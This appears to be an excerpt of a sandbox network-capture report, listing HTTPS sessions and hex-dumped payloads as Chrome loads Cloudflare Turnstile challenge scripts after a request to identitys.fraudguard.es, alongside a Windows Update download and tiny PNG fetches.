2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49724	104.21.94.21	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:41 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:41 UTC	904	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 21:59:41 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: SFBdRa5vA2p2v5efCAyss38jTu6uEv0rr/w=$/vQQsxysNCtU/d2q Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xsLfmnTsWvlfVTw0ltAuzGxpSJWkzB804AHRz37Rmf5PZKdPV9Sx0TbogyqmApFnOZ4LeTbGwz82DK%2BVEdnyNdszEFNAB47pBxTfLpnkSm1dSj2MNSB7s7orjkwlsF9gJDDb%2FI4ElWJlgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c3023dfcd4397-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2123&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1175&delivery_rate=1660034&cwnd=67&unsent_bytes=0&cid=f158f3d1d86b082c&ts=460&x=0"
2024-11-22 21:59:41 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49725	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:41 UTC	731	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e6c301cb8601885&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:42 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:42 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122383 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e6c30278f8772b1-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:42 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uPikb3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b Data Ascii: key.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_expired":"Expired","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_feedback_report":"Having%20trouble%3F","time_check
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 2c 67 6c 2c 67 70 2c 67 71 2c 67 78 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 39 38 32 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 30 36 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 37 32 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 35 34 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 38 37 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 38 32 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 34 34 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 Data Ascii: ,gl,gp,gq,gx,gB,gC,gG,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(982))/1+-parseInt(gI(1606))/2+-parseInt(gI(872))/3+-parseInt(gI(654))/4*(-parseInt(gI(587))/5)+parseInt(gI(1482))/6+-parseInt(gI(544))/7+parseInt(gI(12
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 34 29 5d 28 66 5b 68 67 28 35 39 33 29 5d 29 29 3a 66 5b 68 67 28 35 39 33 29 5d 3d 4a 53 4f 4e 5b 68 67 28 31 34 32 39 29 5d 28 66 5b 68 67 28 35 39 33 29 5d 29 2c 6b 3d 68 7c 7c 68 67 28 31 33 38 36 29 2c 6c 3d 65 4d 5b 68 67 28 31 32 35 34 29 5d 5b 68 67 28 31 38 35 31 29 5d 3f 27 68 2f 27 2b 65 4d 5b 68 67 28 31 32 35 34 29 5d 5b 68 67 28 31 38 35 31 29 5d 2b 27 2f 27 3a 27 27 2c 6d 3d 69 5b 68 67 28 31 38 35 30 29 5d 28 69 5b 68 67 28 31 37 39 32 29 5d 28 69 5b 68 67 28 36 33 32 29 5d 28 69 5b 68 67 28 31 35 36 35 29 5d 28 69 5b 68 67 28 31 35 36 35 29 5d 28 68 67 28 31 38 39 30 29 2b 6c 2c 68 67 28 31 30 36 33 29 29 2c 31 29 2b 69 5b 68 67 28 31 38 32 30 29 5d 2c 65 4d 5b 68 67 28 31 32 35 34 29 5d 5b 68 67 28 31 39 31 36 29 5d 29 2b 27 2f 27 2b 65 Data Ascii: 4)](f[hg(593)])):f[hg(593)]=JSON[hg(1429)](f[hg(593)]),k=h\|\|hg(1386),l=eM[hg(1254)][hg(1851)]?'h/'+eM[hg(1254)][hg(1851)]+'/':'',m=i[hg(1850)](i[hg(1792)](i[hg(632)](i[hg(1565)](i[hg(1565)](hg(1890)+l,hg(1063)),1)+i[hg(1820)],eM[hg(1254)][hg(1916)])+'/'+e
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 28 39 38 38 29 5d 2c 61 66 5b 68 68 28 31 32 35 34 29 5d 5b 68 68 28 31 31 33 33 29 5d 3d 61 67 5b 68 68 28 35 34 37 29 5d 2c 61 68 5b 68 68 28 31 32 35 34 29 5d 5b 68 68 28 37 34 30 29 5d 3d 61 69 5b 68 68 28 31 37 33 33 29 5d 2c 61 6a 5b 68 68 28 31 32 35 34 29 5d 5b 68 68 28 35 31 38 29 5d 3d 61 6b 5b 68 68 28 31 31 30 38 29 5d 2c 61 6c 5b 68 68 28 31 32 35 34 29 5d 5b 68 68 28 36 30 31 29 5d 3d 61 6d 5b 68 68 28 37 35 32 29 5d 7c 7c 68 68 28 37 32 31 29 2c 61 6e 5b 68 68 28 31 32 35 34 29 5d 5b 68 68 28 39 39 32 29 5d 3d 61 6f 5b 65 5b 68 68 28 31 32 37 33 29 5d 5d 7c 7c 38 65 33 2c 61 70 5b 68 68 28 31 32 35 34 29 5d 5b 68 68 28 31 36 33 39 29 5d 3d 61 71 5b 65 5b 68 68 28 31 30 34 39 29 5d 5d 7c 7c 32 39 65 34 2c 61 72 5b 68 68 28 31 32 35 34 29 5d Data Ascii: (988)],af[hh(1254)][hh(1133)]=ag[hh(547)],ah[hh(1254)][hh(740)]=ai[hh(1733)],aj[hh(1254)][hh(518)]=ak[hh(1108)],al[hh(1254)][hh(601)]=am[hh(752)]\|\|hh(721),an[hh(1254)][hh(992)]=ao[e[hh(1273)]]\|\|8e3,ap[hh(1254)][hh(1639)]=aq[e[hh(1049)]]\|\|29e4,ar[hh(1254)]
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 31 27 3a 6f 3d 66 5b 68 6a 28 35 31 33 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 6f 5b 68 6a 28 31 34 33 35 29 5d 28 43 29 3e 2d 31 3f 65 4d 5b 68 6a 28 38 35 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 6b 29 7b 68 6b 3d 68 6a 2c 65 4d 5b 68 6b 28 31 30 35 37 29 5d 28 29 7d 2c 31 65 33 29 3a 28 73 3d 7b 7d 2c 73 5b 68 6a 28 36 35 33 29 5d 3d 66 2c 73 5b 68 6a 28 31 31 30 38 29 5d 3d 67 2c 73 5b 68 6a 28 31 35 30 35 29 5d 3d 68 2c 73 5b 68 6a 28 31 31 33 35 29 5d 3d 69 2c 73 5b 68 6a 28 35 39 33 29 5d 3d 6a 2c 76 3d 73 2c 65 4d 5b 68 6a 28 38 35 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 6c 29 7b 68 6c 3d 68 6a 2c 65 4d 5b 68 6c 28 39 39 34 29 5d 28 76 2c 75 6e 64 65 66 69 6e 65 64 2c 42 5b 68 6c 28 31 33 38 35 29 5d 29 7d 2c 31 30 29 Data Ascii: 1':o=f[hj(513)]();continue;case'2':o[hj(1435)](C)>-1?eM[hj(850)](function(hk){hk=hj,eM[hk(1057)]()},1e3):(s={},s[hj(653)]=f,s[hj(1108)]=g,s[hj(1505)]=h,s[hj(1135)]=i,s[hj(593)]=j,v=s,eM[hj(850)](function(hl){hl=hj,eM[hl(994)](v,undefined,B[hl(1385)])},10)
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 2c 65 2c 66 2c 67 29 7b 69 4f 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 69 4f 28 37 32 32 29 5d 3d 69 4f 28 35 36 34 29 2c 65 3d 64 2c 66 3d 65 4d 5b 69 4f 28 31 32 35 34 29 5d 5b 69 4f 28 31 32 34 39 29 5d 7c 7c 31 65 34 2c 67 3d 67 69 28 29 2c 21 65 4d 5b 69 4f 28 38 33 39 29 5d 26 26 21 66 58 28 29 26 26 21 65 4d 5b 69 4f 28 31 31 36 37 29 5d 5b 69 4f 28 31 31 39 31 29 5d 26 26 67 2d 67 68 3e 66 3f 65 5b 69 4f 28 37 32 32 29 5d 21 3d 3d 65 5b 69 4f 28 37 32 32 29 5d 3f 64 28 29 3a 66 44 28 29 3a 66 45 28 29 7d 2c 31 65 33 29 29 2c 67 6c 3d 7b 7d 2c 67 6c 5b 67 4a 28 31 31 39 31 29 5d 3d 21 5b 5d 2c 67 6c 5b 67 4a 28 31 37 36 31 29 5d 3d 66 6e 2c 67 6c 5b 67 4a 28 31 36 36 32 29 5d 3d 67 39 2c 67 6c 5b 67 4a 28 31 38 38 36 29 5d 3d 67 65 2c 67 6c 5b 67 4a 28 39 Data Ascii: ,e,f,g){iO=gJ,d={},d[iO(722)]=iO(564),e=d,f=eM[iO(1254)][iO(1249)]\|\|1e4,g=gi(),!eM[iO(839)]&&!fX()&&!eM[iO(1167)][iO(1191)]&&g-gh>f?e[iO(722)]!==e[iO(722)]?d():fD():fE()},1e3)),gl={},gl[gJ(1191)]=![],gl[gJ(1761)]=fn,gl[gJ(1662)]=g9,gl[gJ(1886)]=ge,gl[gJ(9
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 7a 41 73 52 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 65 43 6d 62 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 56 69 6d 6f 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6f 4e 6e 41 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 4c 41 70 59 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 47 51 57 57 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 76 6a 43 52 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 Data Ascii: ction(h,i){return h<i},'zAsRK':function(h,i){return i==h},'eCmbS':function(h,i){return h-i},'VimoR':function(h,i){return h>i},'oNnAt':function(h,i){return h&i},'LApYx':function(h,i){return h(i)},'GQWWx':function(h,i){return h<<i},'vjCRh':function(h,i){ret
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 55 2c 50 29 7b 69 66 28 6a 37 3d 6a 34 2c 78 3d 7b 7d 2c 78 5b 6a 37 28 31 30 34 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 2b 52 7d 2c 78 5b 6a 37 28 31 36 38 34 29 5d 3d 6a 37 28 38 36 38 29 2c 42 3d 78 2c 64 5b 6a 37 28 31 34 34 30 29 5d 28 6a 37 28 31 32 33 38 29 2c 6a 37 28 31 31 35 33 29 29 29 7b 69 66 28 4e 2e 68 5b 47 2e 67 5e 31 32 35 2e 35 36 5d 3d 6f 2c 52 3d 73 5b 6a 37 28 31 38 35 33 29 5d 28 29 2c 2d 31 3d 3d 3d 52 29 74 68 72 6f 77 20 65 3b 78 2e 68 5b 42 2e 67 5e 32 35 32 5d 3d 43 5b 6a 37 28 31 38 35 33 29 5d 28 29 2c 44 2e 68 5b 31 38 30 5e 45 2e 67 5d 5b 6a 37 28 31 36 33 30 29 5d 28 52 29 7d 65 6c 73 65 7b 69 66 28 6e 75 6c 6c 3d 3d 6a 29 72 65 Data Ascii: ,G,H,I,J,K,L,M,N,O,U,P){if(j7=j4,x={},x[j7(1040)]=function(Q,R){return Q+R},x[j7(1684)]=j7(868),B=x,d[j7(1440)](j7(1238),j7(1153))){if(N.h[G.g^125.56]=o,R=s[j7(1853)](),-1===R)throw e;x.h[B.g^252]=C[j7(1853)](),D.h[180^E.g][j7(1630)](R)}else{if(null==j)re
2024-11-22 21:59:42 UTC	1369	IN	Data Raw: 6a 37 28 37 31 36 29 5d 28 64 5b 6a 37 28 31 39 36 33 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 30 3d 3d 47 26 26 28 47 3d 4d 61 74 68 5b 6a 37 28 31 32 31 32 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 64 65 6c 65 74 65 20 45 5b 46 5d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 44 5b 46 5d 2c 43 3d 30 3b 64 5b 6a 37 28 31 33 34 31 29 5d 28 43 2c 49 29 3b 4b 3d 31 26 50 7c 4b 3c 3c 31 2c 64 5b 6a 37 28 31 32 34 31 29 5d 28 4c 2c 64 5b 6a 37 28 31 34 36 38 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 6a 37 28 37 31 36 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 46 3d 28 47 2d 2d 2c 30 3d 3d 47 26 26 28 47 3d 4d 61 74 68 5b 6a 37 28 31 32 31 32 29 5d 28 32 2c 49 29 Data Ascii: j7(716)](d[j7(1963)](s,K)),K=0):L++,P>>=1,C++);}G--,0==G&&(G=Math[j7(1212)](2,I),I++),delete E[F]}else for(P=D[F],C=0;d[j7(1341)](C,I);K=1&P\|K<<1,d[j7(1241)](L,d[j7(1468)](o,1))?(L=0,J[j7(716)](s(K)),K=0):L++,P>>=1,C++);F=(G--,0==G&&(G=Math[j7(1212)](2,I)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49723	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:41 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NaaTFGLBoe8uReC&MD=opLzswZg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 21:59:42 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d825680d-c68b-4af7-ae3b-e3dd3fa2791d MS-RequestId: 0fe3781c-d4da-4e9d-9c0f-bc13d9728b33 MS-CV: INGVI46KVUm2+XRm.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 21:59:41 GMT Connection: close Content-Length: 24490
2024-11-22 21:59:42 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-22 21:59:42 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49726	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:41 UTC	743	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:42 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:42 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e6c3028ee405e7d-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:42 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49727	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:43 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:44 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:43 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e6c3033ab868cba-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:44 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49728	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:44 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e6c301cb8601885&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:44 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:44 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 125137 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e6c30362f8ac3ee-EWR alt-svc: h3=":443"; ma=86400
